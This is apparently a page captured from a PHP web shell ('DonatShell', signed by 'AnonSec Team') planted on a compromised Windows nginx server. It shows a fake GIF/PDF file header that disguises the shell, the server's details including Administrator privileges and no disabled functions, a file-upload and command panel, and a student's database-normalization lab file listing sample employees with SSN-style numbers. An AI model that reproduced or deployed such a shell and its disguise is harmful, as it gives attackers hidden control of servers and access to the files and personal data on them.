GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20255/CST1600/41/16939843/Lab08/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20255/CST1600/41/16939843/Lab08/JesseGood-Lab08.txt
UNF:
employeework (employeeId*, name, SSN, projectWork, spouseName, spouseSSN, spouseIsInsured)

employeeId*, name,          SSN,       projectWork,                                                spouseName,   spouseSSN, spouseIsInsured
1,           Avram Hinton,  123456789, code;    projectName;              date;       hoursworked, Lucy Merritt, 234567890, No
                                       Chr0944; Dining room table chairs; 2023-02-05; 8
                                       Tbl0944; Dining room table;        2023-02-06; 6
                                       Tbl0944; Dining room table;        2023-02-07; 6
2,          Xerxes Hayes,   345678901, code;     name;                    date;       hoursworked
                                       Kit0944; Kitchen counters;         2023-02-05; 8
                                       Kit0944; Kitchen counters;         2023-02-06; 8
                                       Tbl0944; Dining room table;        2023-02-07; 4
3,          Kristen Acosta, 456789012, code;    name;                     date;       hoursworked, Kylee Acosta, 567890123, Yes
                                       Kit0944; Kitchen counters;         2023-02-05; 8
4,          Harper Mcmahon, 567890123, code;    name; date; hoursworked
                                       Kit0944; Kitchen counters;         2023-02-05; 4
                                       Chr0944; Dining room table chairs; 2023-02-05; 4
                                       Kit0944; Kitchen counters;         2023-02-06; 8



1NF:

employee		employeeID*	name    		SSN
			1		Avram Hinton		123456789
			2		Xerxes Hayes		345678901
			3		Kristen Acosta		456789012
			4		Harper Mcmahon		567890123
		
employeeProject		employeeID*	name			projectWork (code;    projectName;)
			1		Avram Hinton		Chr0944; Dining room table chairs;
								Tbl0944; Dining room table;
								Tbl0944; Dining room table;
			
			2		Xerxes Hayes		Kit0944; Kitchen counters;
								Kit0944; Kitchen counters;
								Tbl0944; Dining room table;

			3 		Kristen Acosta		Kit0944; Kitchen counters;

			4		Harper Mcmahon		Kit0944; Kitchen counters;
								Chr0944; Dining room table chairs;
								Kit0944; Kitchen counters;


2NF:

employeeSpouse		employeeID*	name			spouseName		spouseSSN

			1		Avram Hinton		Lucy Merritt		234567890
			3		Kristen Acosta		Kylee Acosta		567890123


3NF:

employeeHours		employeeID*	name			projectWork (code;    projectName;)	date			hoursworked
			1		Avram Hinton		Chr0944; Dining room table chairs;	2023-02-05;		8
								Tbl0944; Dining room table;		2023-02-06;		6
								Tbl0944; Dining room table;		2023-02-07;		6
			
			2		Xerxes Hayes		Kit0944; Kitchen counters;		2023-02-05;		8
								Kit0944; Kitchen counters;		2023-02-06;		8
								Tbl0944; Dining room table;		2023-02-07;		4

			3 		Kristen Acosta		Kit0944; Kitchen counters;		2023-02-05;		8

			4		Harper Mcmahon		Kit0944; Kitchen counters;		2023-02-05		4
								Chr0944; Dining room table chairs;	2023-02-05;		4
								Kit0944; Kitchen counters;		2023-02-06;		8	

All data rows:

Anon7 - 2022
AnonSec Team